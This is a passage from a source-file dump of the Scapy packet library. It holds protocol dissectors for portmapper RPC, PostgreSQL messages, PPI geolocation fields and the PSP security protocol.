RPC, RPC_Call class GETPORT_Call(Packet): name = 'GETPORT Call' fields_desc = [ IntField('prog', 0), IntField('vers', 0), IntField('prot', 0), IntField('port', 0) ] class GETPORT_Reply(Packet): name = 'GETPORT Reply' fields_desc = [ IntField('port', 0) ] bind_layers(RPC, GETPORT_Call, mtype=0) bind_layers(RPC, GETPORT_Reply, mtype=1) bind_layers( RPC_Call, GETPORT_Call, program=100000, pversion=2, procedure=3 ) class NULL_Call(Packet): name = 'PORTMAP NULL Call' fields_desc = [] class NULL_Reply(Packet): name = 'PORTMAP NULL Reply' fields_desc = [] bind_layers(RPC, NULL_Call, mtype=0) bind_layers(RPC, NULL_Reply, mtype=1) bind_layers(RPC_Call, NULL_Call, program=100000, pversion=2, procedure=0) class Map_Entry(Packet): name = 'PORTMAP Map Entry' fields_desc = [ IntField('prog', 0), IntField('vers', 0), IntField('prot', 0), IntField('port', 0), IntField('value_follows', 0) ] def extract_padding(self, s): return '', s class DUMP_Call(Packet): name = 'PORTMAP DUMP Call' fields_desc = [] class DUMP_Reply(Packet): name = 'PORTMAP DUMP Reply' fields_desc = [ IntField('value_follows', 0), PacketListField('mappings', [], Map_Entry, next_cls_cb=lambda pkt, lst, cur, remain: Map_Entry if pkt.value_follows == 1 and (len(lst) == 0 or cur.value_follows == 1) and len(remain) > 4 else None) ] bind_layers(RPC, DUMP_Call, mtype=0) bind_layers(RPC, DUMP_Reply, mtype=1) bind_layers(RPC_Call, DUMP_Call, program=100000, pversion=2, procedure=4) ================================================ FILE: scapy/contrib/postgres.py ================================================ # SPDX-License-Identifier: GPL-2.0-or-later # This file is part of Scapy # See https://scapy.net/ for more information # scapy.contrib.description = Postgres PSQL Binary Protocol # scapy.contrib.status = loads import struct from typing import ( Optional, Callable, Any, Tuple, ) from scapy.fields import ( ByteField, CharEnumField, Field, FieldLenField, FieldListField, IntEnumField, PacketListField, ShortField, SignedIntField, SignedShortField, StrField, StrLenField, StrNullField, ) from scapy.packet import Packet, bind_layers from scapy.layers.inet import TCP from scapy.sessions import TCPSession AUTH_CODES = { 0: "AuthenticationOk", 1: "AuthenticationKerberosV4", 2: "AuthenticationKerberosV5", 3: "AuthenticationCleartextPassword", 4: "AuthenticationCryptPassword", 5: "AuthenticationMD5Password", 6: "AuthenticationSCMCredential", 7: "AuthenticationGSS", 8: "AuthenticationGSSContinue", 9: "AuthenticationSSPI", 10: "AuthenticationSASL", 11: "AuthenticationSASLContinue", 12: "AuthenticationSASLFinal", } class KeepAlive(Packet): name = "Keep Alive" fields_desc = [ SignedIntField("len", 4), ] class SSLRequest(Packet): name = "SSL request code message" fields_desc = [ FieldLenField("length", None, fmt="I"), SignedIntField("request_code", 80877103), ] class _DictStrField(StrField): """Takes a dictionary as an argument and packs back into a byte string.""" def i2m(self, pkt, x): if isinstance(x, bytes): return x if isinstance(x, dict): result = bytes() for k, v in x.items(): result += k + b"\x00" + v + b"\x00" return result + b"\x00" else: return super(_DictStrField, self).i2m(pkt, x) def i2len(self, pkt, x): # type: (Optional[Packet], Any) -> int if x is None: return 0 return len(self.i2m(pkt, x)) class Startup(Packet): name = "Startup Request Packet" fields_desc = [ FieldLenField( "len", None, length_of="options", fmt="I", adjust=lambda pkt, x: x + 8 ), ShortField("protocol_version_major", 3), ShortField("protocol_version_minor", 0), _DictStrField("options", None), ] class _FieldsLenField(Field[int, int]): """Same as FieldLenField but takes a tuple of fields for length_of.""" __slots__ = ["length_of", "adjust"] def __init__( self, name, # type: str default, # type: Optional[Any] length_of=None, # type: Optional[Tuple[str]] fmt="H", # type: str adjust=lambda pkt, x: x, # type: Callable[[Packet, int], int] ): # type: (...) -> None super(_FieldsLenField, self).__init__(name, default, fmt) self.length_of = length_of self.adjust = adjust def i2m(self, pkt, x): # type: (Optional[Packet], Optional[int]) -> int if x is None and pkt is not None: if self.length_of is not None: f = 0 for length_of_field in self.length_of: fld, fval = pkt.getfield_and_val(length_of_field) f += fld.i2len(pkt, fval) else: raise ValueError("Field should have either length_of or count_of") x = self.adjust(pkt, f) elif x is None: x = 0 return x def determine_pg_field(pkt, lst, cur, remain): key = b"" if remain: key = remain[0:1] # Python 2/3 compat if key in pkt.cls_mapping: return pkt.cls_mapping[key] elif remain[0:1] == b"\x00" and len(remain) >= 4: length = struct.unpack("!I", remain[0:3])[0] if length == 0: return KeepAlive elif length == 8: return SSLRequest else: return Startup else: return None class ByteTagField(ByteField): def __init__( self, default # type: bytes ): super(ByteTagField, self).__init__("tag", ord(default)) def randval(self): return ord(self.default) class _BasePostgres(Packet, TCPSession): name = "Regular packet" fields_desc = [PacketListField("contents", [], next_cls_cb=determine_pg_field)] @classmethod def tcp_reassemble(cls, data, metadata): if data and data[0:1] == b"\x00": length = struct.unpack("!I", data[0:3])[0] if length == 8: return SSLRequest(data) else: return Startup(data) else: return cls(data) class _ZeroPadding(Packet): def extract_padding(self, p): return b"", p class SignedIntStrPair(_ZeroPadding): name = "Bytes data" fields_desc = [ FieldLenField("len", 0, fmt="i", length_of="value"), StrLenField( "data", None, length_from=lambda pkt: pkt.len if pkt.len > 0 else 0 ), ] class Authentication(_ZeroPadding): name = "Authentication Request" fields_desc = [ ByteTagField(b"R"), FieldLenField( "len", None, length_of="optional", fmt="I", adjust=lambda pkt, x: x + 8 ), IntEnumField("method", default=0, enum=AUTH_CODES), StrLenField("optional", None, length_from=lambda pkt: pkt.len - 8), ] class ParameterStatus(_ZeroPadding): name = "Parameter Status" fields_desc = [ ByteTagField(b"S"), FieldLenField( "len", None, fmt="I", length_of=("parameter", "value"), adjust=lambda pkt, x: x + 4, ), StrNullField( "parameter", "", ), StrNullField( "value", "", ), ] class Query(_ZeroPadding): name = "Simple Query" fields_desc = [ ByteTagField(b"Q"), FieldLenField( "len", None, length_of="query", fmt="I", adjust=lambda pkt, x: x + 5 ), StrNullField("query", None), ] class CommandComplete(_ZeroPadding): name = "Command Completion Response" fields_desc = [ ByteTagField(b"C"), FieldLenField( "len", None, length_of="cmdtag", fmt="I", adjust=lambda pkt, x: x + 4 ), StrLenField("cmdtag", "", length_from=lambda pkt: pkt.len - 4), ] class BackendKeyData(_ZeroPadding): name = "Backend Key Data" fields_desc = [ ByteTagField(b"K"), FieldLenField("len", None, fmt="I"), SignedIntField("pid", 0), SignedIntField("key", 0), ] STATUS_TYPE = { b"E": "InFailedTransaction", b"I": "Idle", b"T": "InTransaction", } class ReadyForQuery(_ZeroPadding): name = "Ready Signal" fields_desc = [ ByteTagField(b"Z"), SignedIntField("len", 6), CharEnumField("status", b"I", STATUS_TYPE), ] class ColumnDescription(_ZeroPadding): name = "Column Description" fields_desc = [ StrNullField("col", None), SignedIntField("tableoid", 0), SignedShortField("colno", 0), SignedIntField("typeoid", 0), SignedShortField("typelen", 0), SignedIntField("typemod", 0), SignedShortField("format", 0), ] class RowDescription(_ZeroPadding): name = "Row Description" fields_desc = [ ByteTagField(b"T"), FieldLenField( "len", None, fmt="I", length_of="cols", adjust=lambda pkt, x: x + 6 ), SignedShortField("numfields", 0), PacketListField( "cols", [], pkt_cls=ColumnDescription, count_from=lambda pkt: pkt.numfields, length_from=lambda pkt: pkt.len - 6, ), ] class DataRow(_ZeroPadding): name = "Data Row" fields_desc = [ ByteTagField(b"D"), FieldLenField( "len", None, fmt="I", length_of="data", adjust=lambda pkt, x: len(pkt) - 1 ), FieldLenField("numfields", 0), PacketListField( "data", [], SignedIntStrPair, count_from=lambda pkt: pkt.numfields, ), ] # See https://www.postgresql.org/docs/current/protocol-error-fields.html ERROR_FIELD = { b"S": "Severity", b"V": "SeverityNonLocalized", b"C": "Code", b"M": "Message", b"D": "Detail", b"H": "Hint", b"P": "Position", b"p": "InternalPosition", b"q": "InternalQuery", b"W": "Where", b"s": "SchemaName", b"t": "TableName", b"c": "ColumnName", b"d": "DataTypeName", b"n": "ConstraintName", b"F": "File", b"L": "Line", b"R": "Routine", } class ErrorResponseField(StrNullField): def m2i(self, pkt, x): """Unpack into a tuple of Field, Value.""" i = super(ErrorResponseField, self).m2i(pkt, x) i_code = i[0:1] # Python 2/3 compatible return (ERROR_FIELD.get(i_code, i_code), i[1:]) class ErrorResponse(_ZeroPadding): name = "Error Response" fields_desc = [ ByteTagField(b"E"), FieldLenField( "len", None, length_of="error_fields", fmt="I", adjust=lambda pkt, x: x + 5 ), FieldListField( "error_fields", [], ErrorResponseField("value", None), length_from=lambda pkt: pkt.len - 5, ), ByteField("terminator", None), ] class Terminate(_ZeroPadding): name = "Termination Request" fields_desc = [ ByteTagField(b"X"), SignedIntField("len", 4), ] class _Todo(_ZeroPadding): name = "Unsupported message" fields_desc = [ ByteTagField(b"?"), FieldLenField("len", None, fmt="I", length_of="body"), StrLenField("body", None, length_from=lambda pkt: pkt.len - 4), ] class Bind(_ZeroPadding): name = "Bind Request" fields_desc = [ ByteTagField(b"?"), FieldLenField( "len", None, fmt="I", length_of="body", adjust=lambda pkt, x: len(pkt) - 1 ), StrNullField("destination", ""), StrNullField("statement", ""), FieldLenField("codes_count", 0, fmt="H", count_of="codes"), FieldListField( "codes", [], ShortField("", 0), count_from=lambda pkt: pkt.codes_count ), FieldLenField("values_count", 0, fmt="H", count_of="values"), PacketListField( "values", [], SignedIntStrPair, count_from=lambda pkt: pkt.values_count ), FieldLenField("results_count", 0, fmt="H", count_of="results"), FieldListField( "results", [], ShortField("", 0), count_from=lambda pkt: pkt.results_count ), ] class BindComplete(_ZeroPadding): name = "Bind Complete" fields_desc = [ ByteTagField(b"2"), SignedIntField("len", 4), ] CLOSE_DESCRIBE_TYPE = {b"S": "PreparedStatement", b"P": "Portal"} class Close(_ZeroPadding): name = "Close Request" fields_desc = [ ByteTagField(b"C"), FieldLenField( "len", None, fmt="I", length_of="statement", adjust=lambda pkt, x: x + 6 ), CharEnumField("close_type", b"S", enum=CLOSE_DESCRIBE_TYPE), StrNullField( "statement", "", ), ] class CloseComplete(_ZeroPadding): name = "Close Complete" fields_desc = [ ByteTagField(b"3"), SignedIntField("len", 4), ] class Describe(_ZeroPadding): name = "Describe" fields_desc = [ ByteTagField(b"D"), FieldLenField( "len", None, fmt="I", length_of="statement", adjust=lambda pkt, x: x + 6 ), CharEnumField("close_type", b"S", enum=CLOSE_DESCRIBE_TYPE), StrNullField("statement", ""), ] class EmptyQueryResponse(_ZeroPadding): name = "Empty Query Response" fields_desc = [ ByteTagField(b"I"), SignedIntField("len", 4), ] class Flush(_ZeroPadding): name = "Flush Request" fields_desc = [ ByteTagField(b"H"), SignedIntField("len", 4), ] class NoData(_ZeroPadding): name = "No Data Response" fields_desc = [ ByteTagField(b"n"), SignedIntField("len", 4), ] class ParseComplete(_ZeroPadding): name = "Parse Complete Response" fields_desc = [ ByteTagField(b"1"), SignedIntField("len", 4), ] class PortalSuspended(_ZeroPadding): name = "Portal Suspended Response" fields_desc = [ ByteTagField(b"s"), SignedIntField("len", 4), ] class Sync(_ZeroPadding): name = "Sync Request" fields_desc = [ ByteTagField(b"S"), SignedIntField("len", 4), ] class Parse(_ZeroPadding): name = "Parse Request" fields_desc = [ ByteTagField(b"P"), FieldLenField("len", None, fmt="I", adjust=lambda pkt, x: len(pkt) - 1), StrNullField("destination", ""), StrNullField("query", ""), FieldLenField("num_param_dtypes", None, fmt="H", count_of="params"), FieldListField( "params", [], SignedIntField("param", None), count_from=lambda pkt: pkt.num_param_dtypes, ), ] class Execute(_ZeroPadding): name = "Execute Request" fields_desc = [ ByteTagField(b"E"), FieldLenField( "len", None, fmt="I", length_of="portal", adjust=lambda pkt, x: x + 9 ), StrNullField( "portal", "", ), SignedIntField("rows", 0), ] class PasswordMessage(_ZeroPadding): """ Identifies the message as a password response. Note that this is also used for GSSAPI, SSPI and SASL response messages. The exact message type can be deduced from the context. """ name = "Password Request Response" fields_desc = [ ByteTagField(b"p"), FieldLenField( "len", None, fmt="I", length_of="password", adjust=lambda pkt, x: x + 4 ), StrLenField("password", None, length_from=lambda pkt: pkt.len - 4), ] class NoticeResponse(_ZeroPadding): name = "Notice Response" fields_desc = [ ByteTagField(b"N"), FieldLenField( "len", None, length_of="notice_fields", fmt="I", adjust=lambda pkt, x: x + 5 ), FieldListField( "notice_fields", [], ErrorResponseField("value", None), length_from=lambda pkt: pkt.len - 5, ), ByteField("terminator", None), ] class NotificationResponse(_ZeroPadding): name = "Password Request Response" fields_desc = [ ByteTagField(b"A"), _FieldsLenField( "len", None, fmt="I", length_of=("channel", "payload"), adjust=lambda pkt, x: x + 8, ), SignedIntField("process_id", 0), StrNullField("channel", None), StrNullField("payload", None), ] class NegotiateProtocolVersion(_ZeroPadding): name = "Negotiate Protocol Version Response" fields_desc = [ ByteTagField(b"v"), FieldLenField( "len", None, fmt="I", length_of="option", adjust=lambda pkt, x: x + 12 ), SignedIntField("min_minor_version", 0), SignedIntField("unrecognized_options", 0), StrNullField("option", None), ] class FunctionCallResponse(_ZeroPadding): name = "Function Call Response" fields_desc = [ ByteTagField(b"V"), FieldLenField( "len", None, fmt="I", length_of="result", adjust=lambda pkt, x: x + 8 ), FieldLenField("result_len", None, length_of="result"), StrLenField("result", None, length_from=lambda pkt: pkt.result_len), ] class ParameterDescription(_ZeroPadding): name = "Parameter Description" fields_desc = [ ByteTagField(b"t"), FieldLenField( "len", None, fmt="I", length_of="dtypes", adjust=lambda pkt, x: x + 6 ), SignedShortField("dtypes_len", 0), FieldListField( "dtypes", [], SignedIntField("dtype", None), count_from=lambda pkt: pkt.dtypes_len, ), ] class CopyData(_ZeroPadding): name = "Copy Data" fields_desc = [ ByteTagField(b"d"), FieldLenField( "len", None, fmt="I", length_of="data", adjust=lambda pkt, x: x + 4 ), StrLenField("data", None, length_from=lambda pkt: pkt.len - 4), ] class CopyDone(_ZeroPadding): name = "Copy Done" fields_desc = [ ByteTagField(b"c"), SignedIntField("len", 4), ] class CopyFail(_ZeroPadding): name = "Copy Fail Reason" fields_desc = [ ByteTagField(b"f"), FieldLenField( "len", None, fmt="I", length_of="reason", adjust=lambda pkt, x: x + 4 ), StrLenField("reason", None, length_from=lambda pkt: pkt.len - 4), ] class CancelRequest(Packet): name = "Cancel Request" fields_desc = [ SignedIntField("len", 16), SignedIntField("request_code", 80877102), SignedIntField("process_id", 0), SignedIntField("secret", 0), ] class GSSENCRequest(Packet): name = "GSSENC Request" fields_desc = [ SignedIntField("len", 8), SignedIntField("request_code", 80877104), ] class CopyInResponse(_ZeroPadding): name = "Copy in Response" fields_desc = [ ByteTagField(b"G"), FieldLenField( "len", None, fmt="I", length_of="cols", adjust=lambda pkt, x: x + 7 ), ByteField("format", 0), ShortField("ncols", 0), FieldListField( "cols", [], ShortField("format", None), count_from=lambda pkt: pkt.ncols, ), ] class CopyOutResponse(_ZeroPadding): name = "Copy out Response" fields_desc = [ ByteTagField(b"H"), FieldLenField( "len", None, fmt="I", length_of="cols", adjust=lambda pkt, x: x + 7 ), ByteField("format", 0), ShortField("ncols", 0), FieldListField( "cols", [], ShortField("format", None), count_from=lambda pkt: pkt.ncols, ), ] class CopyBothResponse(_ZeroPadding): name = "Copy both Response" fields_desc = [ ByteTagField(b"W"), FieldLenField( "len", None, fmt="I", length_of="cols", adjust=lambda pkt, x: x + 7 ), ByteField("format", 0), ShortField("ncols", 0), FieldListField( "cols", [], ShortField("format", None), count_from=lambda pkt: pkt.ncols, ), ] FRONTEND_TAG_TO_PACKET_CLS = { b"B": Bind, b"C": Close, b"d": CopyData, b"c": CopyDone, b"f": CopyFail, b"D": Describe, b"E": Execute, b"H": Flush, b"F": _Todo, b"P": Parse, b"p": PasswordMessage, b"Q": Query, b"S": Sync, b"X": Terminate, } BACKEND_TAG_TO_PACKET_CLS = { b"R": Authentication, b"K": BackendKeyData, b"2": BindComplete, b"3": CloseComplete, b"C": CommandComplete, b"d": CopyData, b"c": CopyDone, b"G": CopyInResponse, b"H": CopyOutResponse, b"W": CopyBothResponse, b"D": DataRow, b"I": EmptyQueryResponse, b"E": ErrorResponse, b"V": FunctionCallResponse, b"v": NegotiateProtocolVersion, b"n": NoData, b"N": NoticeResponse, b"A": NotificationResponse, b"t": ParameterDescription, b"S": ParameterStatus, b"1": ParseComplete, b"s": PortalSuspended, b"Z": ReadyForQuery, b"T": RowDescription, } class PostgresFrontend(_BasePostgres): cls_mapping = FRONTEND_TAG_TO_PACKET_CLS @classmethod def tcp_reassemble(cls, data, metadata): msgs = PostgresFrontend(data) if msgs.contents and "Sync" in msgs.contents[-1]: return msgs class PostgresBackend(_BasePostgres): cls_mapping = BACKEND_TAG_TO_PACKET_CLS @classmethod def tcp_reassemble(cls, data, metadata): msgs = PostgresBackend(data) if msgs.contents and "ReadyForQuery" in msgs.contents[-1]: return msgs bind_layers(TCP, PostgresFrontend, dport=5432) bind_layers(TCP, PostgresBackend, sport=5432) ================================================ FILE: scapy/contrib/ppi_cace.py ================================================ # SPDX-License-Identifier: GPL-2.0-or-later # This file is part of Scapy # See https://scapy.net/ for more information # author: # scapy.contrib.description = CACE Per-Packet Information (PPI) # scapy.contrib.status = loads """ CACE PPI types """ from scapy.data import PPI_DOT11COMMON from scapy.packet import bind_layers from scapy.fields import ByteField, Field, FlagsField, LELongField, \ LEShortField from scapy.layers.ppi import PPI_Hdr, PPI_Element # PPI 802.11 Common Field Header Fields class dBmByteField(Field): def __init__(self, name, default): Field.__init__(self, name, default, "b") def i2repr(self, pkt, x): if x is not None: x = "%4d dBm" % x return x class PPITSFTField(LELongField): def i2h(self, pkt, x): flags = 0 if pkt: flags = pkt.getfieldval("Pkt_Flags") if not flags: flags = 0 if flags & 0x02: scale = 1e-3 else: scale = 1e-6 tout = scale * float(x) return tout def h2i(self, pkt, x): scale = 1e6 if pkt: flags = pkt.getfieldval("Pkt_Flags") if flags and (flags & 0x02): scale = 1e3 tout = int((scale * x) + 0.5) return tout _PPIDot11CommonChFlags = [ '', '', '', '', 'Turbo', 'CCK', 'OFDM', '2GHz', '5GHz', 'PassiveOnly', 'Dynamic CCK-OFDM', 'GSFK'] _PPIDot11CommonPktFlags = ['FCS', 'TSFT_ms', 'FCS_Invalid', 'PHY_Error'] # PPI 802.11 Common Field Header class PPI_Dot11Common(PPI_Element): name = "PPI 802.11-Common" fields_desc = [PPITSFTField('TSF_Timer', 0), FlagsField('Pkt_Flags', 0, -16, _PPIDot11CommonPktFlags), LEShortField('Rate', 0), LEShortField('Ch_Freq', 0), FlagsField('Ch_Flags', 0, -16, _PPIDot11CommonChFlags), ByteField('FHSS_Hop', 0), ByteField('FHSS_Pat', 0), dBmByteField('Antsignal', -128), dBmByteField('Antnoise', -128)] def extract_padding(self, s): return b'', s # Hopefully other CACE defined types will be added here. # Add the dot11common layer to the PPI array bind_layers(PPI_Hdr, PPI_Dot11Common, pfh_type=PPI_DOT11COMMON) ================================================ FILE: scapy/contrib/ppi_geotag.py ================================================ # SPDX-License-Identifier: GPL-2.0-or-later # This file is part of Scapy # See https://scapy.net/ for more information # author: # scapy.contrib.description = CACE Per-Packet Information (PPI) Geolocation # scapy.contrib.status = loads """ PPI-GEOLOCATION tags """ import functools import struct from scapy.base_classes import Packet_metaclass from scapy.data import PPI_GPS, PPI_VECTOR, PPI_SENSOR, PPI_ANTENNA from scapy.packet import bind_layers from scapy.fields import ByteField, ConditionalField, Field, FlagsField, \ LEIntField, LEShortEnumField, LEShortField, StrFixedLenField, \ UTCTimeField, XLEIntField, SignedByteField, XLEShortField from scapy.layers.ppi import PPI_Hdr, PPI_Element from scapy.error import warning CURR_GEOTAG_VER = 2 # Major revision of specification # The FixedX_Y Fields are used to store fixed point numbers in a variety of # fields in the GEOLOCATION-TAGS specification class _RMMLEIntField(LEIntField): __slots__ = ["min_i2h", "max_i2h", "lambda_i2h", "min_h2i", "max_h2i", "lambda_h2i", "rname", "ffmt"] def __init__(self, name, default, _min, _max, _min2, _max2, _lmb, _lmb2, fmt, *args, **kargs): LEIntField.__init__(self, name, default, *args, **kargs) self.min_i2h = _min self.max_i2h = _max self.lambda_i2h = _lmb self.min_h2i = _min2 self.max_h2i = _max2 self.lambda_h2i = _lmb2 self.rname = self.__class__.__name__ self.ffmt = fmt def i2h(self, pkt, x): if x is not None: if (x < self.min_i2h): warning("%s: Internal value too negative: %d", self.rname, x) x = int(round(self.min_i2h)) elif (x > self.max_i2h): warning("%s: Internal value too positive: %d", self.rname, x) x = self.max_i2h x = self.lambda_i2h(x) return x def h2i(self, pkt, x): if x is not None: if (x < self.min_h2i): warning("%s: Input value too negative: %.10f", self.rname, x) x = int(round(self.min_h2i)) elif (x >= self.max_h2i): warning("%s: Input value too positive: %.10f", self.rname, x) x = int(round(self.max_h2i)) x = self.lambda_h2i(x) return x def i2m(self, pkt, x): """Convert internal value to machine value""" if x is None: # Try to return zero if undefined x = self.h2i(pkt, 0) return x def i2repr(self, pkt, x): if x is None: y = 0 else: y = self.i2h(pkt, x) return ("%" + self.ffmt) % (y) class Fixed3_6Field(_RMMLEIntField): def __init__(self, name, default, *args, **kargs): _RMMLEIntField.__init__(self, name, default, 0, 999999999, -0.5e-6, 999.9999995, lambda x: x * 1e-6, lambda x: int(round(x * 1e6)), "3.6f") class Fixed3_7Field(_RMMLEIntField): def __init__(self, name, default, *args, **kargs): _RMMLEIntField.__init__(self, name, default, 0, 3600000000, -180.00000005, 180.00000005, lambda x: (x - 1800000000) * 1e-7, lambda x: int(round((x + 180.0) * 1e7)), "3.7f") class Fixed6_4Field(_RMMLEIntField): def __init__(self, name, default, *args, **kargs): _RMMLEIntField.__init__(self, name, default, 0, 3600000000, -180000.00005, 180000.00005, lambda x: (x - 1800000000) * 1e-4, lambda x: int(round((x + 180000.0) * 1e4)), "6.4f") # The GPS timestamps fractional time counter is stored in a 32-bit unsigned ns # counter. # The ept field is as well, class NSCounter_Field(_RMMLEIntField): def __init__(self, name, default): _RMMLEIntField.__init__(self, name, default, 0, 2**32, 0, (2**32 - 1) / 1e9, lambda x: (x / 1e9), lambda x: int(round(x * 1e9)), "1.9f") class LETimeField(UTCTimeField, LEIntField): __slots__ = ["epoch", "delta", "strf"] def __init__(self, name, default, epoch=None, strf="%a, %d %b %Y %H:%M:%S %z"): LEIntField.__init__(self, name, default) UTCTimeField.__init__(self, name, default, epoch=epoch, strf=strf) class GPSTime_Field(LETimeField): def __init__(self, name, default): LETimeField.__init__(self, name, default, strf="%a, %d %b %Y %H:%M:%S UTC") class VectorFlags_Field(XLEIntField): """Represents the VectorFlags field. Handles the RelativeTo:sub-field""" _fwdstr = "DefinesForward" _resmask = 0xfffffff8 _relmask = 0x6 _relnames = [ "RelativeToForward", "RelativeToEarth", "RelativeToCurrent", "RelativeToReserved", ] _relvals = [0x00, 0x02, 0x04, 0x06] def i2repr(self, pkt, x): if x is None: return str(x) r = [] if (x & 0x1): r.append(self._fwdstr) i = (x & self._relmask) >> 1 r.append(self._relnames[i]) i = x & self._resmask if (i): r.append("ReservedBits:%08X" % i) sout = "+".join(r) return sout def any2i(self, pkt, x): if isinstance(x, str): r = x.split("+") y = 0 for value in r: if (value == self._fwdstr): y |= 0x1 elif (value in self._relnames): i = self._relnames.index(value) y &= (~self._relmask) y |= self._relvals[i] else: # logging.warning("Unknown VectorFlags Arg: %s", value) pass else: y = x # print("any2i: %s --> %s" % (str(x), str(y))) return y class HCSIFlagsField(FlagsField): """A FlagsField where each bit/flag turns a conditional field on or off. If the value is None when building a packet, i2m() will check the value of every field in self.names. If the field's value is not None, the corresponding flag will be set. """ def i2m(self, pkt, val): if val is None: val = 0 if (pkt): for i, name in enumerate(self.names): value = pkt.getfieldval(name) if value is not None: val |= 1 << i return val class HCSINullField(Field): def __init__(self, name): Field.__init__(self, name, None, '!') def _hcsi_null_range(*args, **kwargs): """Builds a list of _HCSINullField with numbered "Reserved" names. Takes the same arguments as the ``range`` built-in. :returns: list[HCSINullField] """ return [ HCSINullField('Reserved{:02d}'.format(x)) for x in range(*args, **kwargs) ] class HCSIDescField(StrFixedLenField): def __init__(self, name, default): StrFixedLenField.__init__(self, name, default, length=32) class HCSIAppField(StrFixedLenField): def __init__(self, name, default): StrFixedLenField.__init__(self, name, default, length=60) def _FlagsList(myfields): flags = ["Reserved%02d" % i for i in range(32)] for i, value in myfields.items(): flags[i] = value return flags # Define all geolocation-tag flags lists _hcsi_gps_flags = _FlagsList({ 0: "No Fix Available", 1: "GPS", 2: "Differential GPS", 3: "Pulse Per Second", 4: "Real Time Kinematic", 5: "Float Real Time Kinematic", 6: "Estimated (Dead Reckoning)", 7: "Manual Input", 8: "Simulation", }) _hcsi_vector_char_flags = _FlagsList({ 0: "Antenna", 1: "Direction of Travel", 2: "Front of Vehicle", 3: "Angle of Arrival", 4: "Transmitter Position", 8: "GPS Derived", 9: "INS Derived", 10: "Compass Derived", 11: "Accelerometer Derived", 12: "Human Derived", }) _hcsi_antenna_flags = _FlagsList({ 1: "Horizontal Polarization", 2: "Vertical Polarization", 3: "Circular Polarization Left", 4: "Circular Polarization Right", 16: "Electronically Steerable", 17: "Mechanically Steerable", }) # HCSI PPI Fields are similar to RadioTap. A mask field called "present" # specifies if each field is present. All other fields are conditional. When # dissecting a packet, each field is present if "present" has the corresponding # bit set. # # When building a packet, if "present" is None, the mask is set to include # every field that does not have a value of None. Otherwise, if the mask field # is not None, only the fields specified by "present" will be added to the # packet. # # To build each Packet type, build a list of the fields normally, excluding # the present bitmask field. The code will then construct conditional # versions of each field and add the present field. # # See GPS_Fields as an example. _COMMON_GEOTAG_HEADERS = [ ByteField('geotag_ver', CURR_GEOTAG_VER), ByteField('geotag_pad', 0), LEShortField('geotag_len', None), ] _COMMON_GEOTAG_FOOTER = [ HCSIDescField("DescString", None), XLEIntField("AppId", None), HCSIAppField("AppData", None), HCSINullField("Extended"), ] # Conditional test for all HCSI Fields def _HCSITest(fname, fbit, pkt): if pkt.present is None: return pkt.getfieldval(fname) is not None return pkt.present & fbit class _Geotag_metaclass(Packet_metaclass): def __new__(cls, name, bases, dct): hcsi_fields = dct.get('hcsi_fields', []) if len(hcsi_fields) != 0: hcsi_fields += _COMMON_GEOTAG_FOOTER if len(hcsi_fields) not in (8, 16, 32): raise TypeError( 'hcsi_fields in {} was {} elements long, expected 8, 16 ' 'or 32'.format(name, len(hcsi_fields))) names = [f.name for f in hcsi_fields] # Add the base fields fields_desc = _COMMON_GEOTAG_HEADERS + [ HCSIFlagsField('present', None, -len(names), names), ] # Add conditional fields for i, field in enumerate(hcsi_fields): fields_desc.append(ConditionalField( field, functools.partial( _HCSITest, field.name, 1 << i))) dct['fields_desc'] = fields_desc x = super(_Geotag_metaclass, cls).__new__(cls, name, bases, dct) return x class HCSIPacket(PPI_Element, metaclass=_Geotag_metaclass): def post_build(self, p, pay): if self.geotag_len is None: sl_g = struct.pack('>> payload = IP() / UDP(sport=1234, dport=5678) / Raw("A" * 9) >>> iv = b'\x01\x02\x03\x04\x05\x06\x07\x08' >>> spi = 0x11223344 >>> key = b'\xFF\xEE\xDD\xCC\xBB\xAA\x99\x88\x77\x66\x55\x44\x33\x22\x11\x00' >>> psp_packet = PSP(nexthdr=4, cryptoffset=5, spi=spi, iv=iv, data=payload) >>> hexdump(psp_packet) 0000 04 01 05 01 11 22 33 44 01 02 03 04 05 06 07 08 ....."3D........ 0010 45 00 00 25 00 01 00 00 40 11 7C C5 7F 00 00 01 E..%....@.|..... 0020 7F 00 00 01 04 D2 16 2E 00 11 A0 C4 41 41 41 41 ............AAAA 0030 41 41 41 41 41 AAAAA >>> >>> psp_packet.encrypt(key) >>> hexdump(psp_packet) 0000 04 01 05 01 11 22 33 44 01 02 03 04 05 06 07 08 ....."3D........ 0010 45 00 00 25 00 01 00 00 40 11 7C C5 7F 00 00 01 E..%....@.|..... 0020 7F 00 00 01 8E 3E 2B 13 45 C7 6B F9 5C DA C3 9B .....>+.E.k.\... 0030 86 17 62 A0 CF DF FB BE BB C6 31 3A 2B 9D E0 64 ..b.......1:+..d 0040 75 9C DD 71 C9 u..q. >>> >>> psp_packet.decrypt(key) >>> hexdump(psp_packet) 0000 04 01 05 01 11 22 33 44 01 02 03 04 05 06 07 08 ....."3D........ 0010 45 00 00 25 00 01 00 00 40 11 7C C5 7F 00 00 01 E..%....@.|..... 0020 7F 00 00 01 04 D2 16 2E 00 11 A0 C4 41 41 41 41 ............AAAA 0030 41 41 41 41 41 AAAAA >>> """ from scapy.config import conf from scapy.error import log_loading from scapy.fields import ( BitField, ByteField, ConditionalField, XIntField, XStrField, StrFixedLenField, ) from scapy.packet import ( Packet, bind_bottom_up, bind_top_down, ) from scapy.layers.inet import UDP ############################################################################### if conf.crypto_valid: from cryptography.exceptions import InvalidTag from cryptography.hazmat.primitives.ciphers import ( aead, ) else: log_loading.info("Can't import python-cryptography v2.0+. " "Disabled PSP encryption/authentication.") ############################################################################### import struct class PSP(Packet): """ PSP Security Protocol See https://github.com/google/psp/blob/main/doc/PSP_Arch_Spec.pdf """ name = 'PSP' fields_desc = [ ByteField('nexthdr', 0), ByteField('hdrextlen', 1), BitField("reserved", 0, 2), BitField("cryptoffset", 0, 6), BitField("sample", 0, 1), BitField("drop", 0, 1), BitField("version", 0, 4), BitField("is_virt", 0, 1), BitField("one_bit", 1, 1), XIntField('spi', 0x00), StrFixedLenField('iv', '\x00' * 8, 8), ConditionalField(XIntField("virtkey", 0x00), lambda pkt: pkt.is_virt == 1), ConditionalField(XIntField("sectoken", 0x00), lambda pkt: pkt.is_virt == 1), XStrField('data', None), ] def sanitize_cipher(self): """ Ensure we support the cipher to encrypt/decrypt this packet :returns: the supported cipher suite :raise scapy.layers.psp.PSPCipherError: if the requested cipher is unsupported """ if self.version not in (0, 1): raise PSPCipherError('Can not encrypt/decrypt using unsupported version %s' % (self.version)) return aead.AESGCM def encrypt(self, key): """ Encrypt a PSP packet :param key: 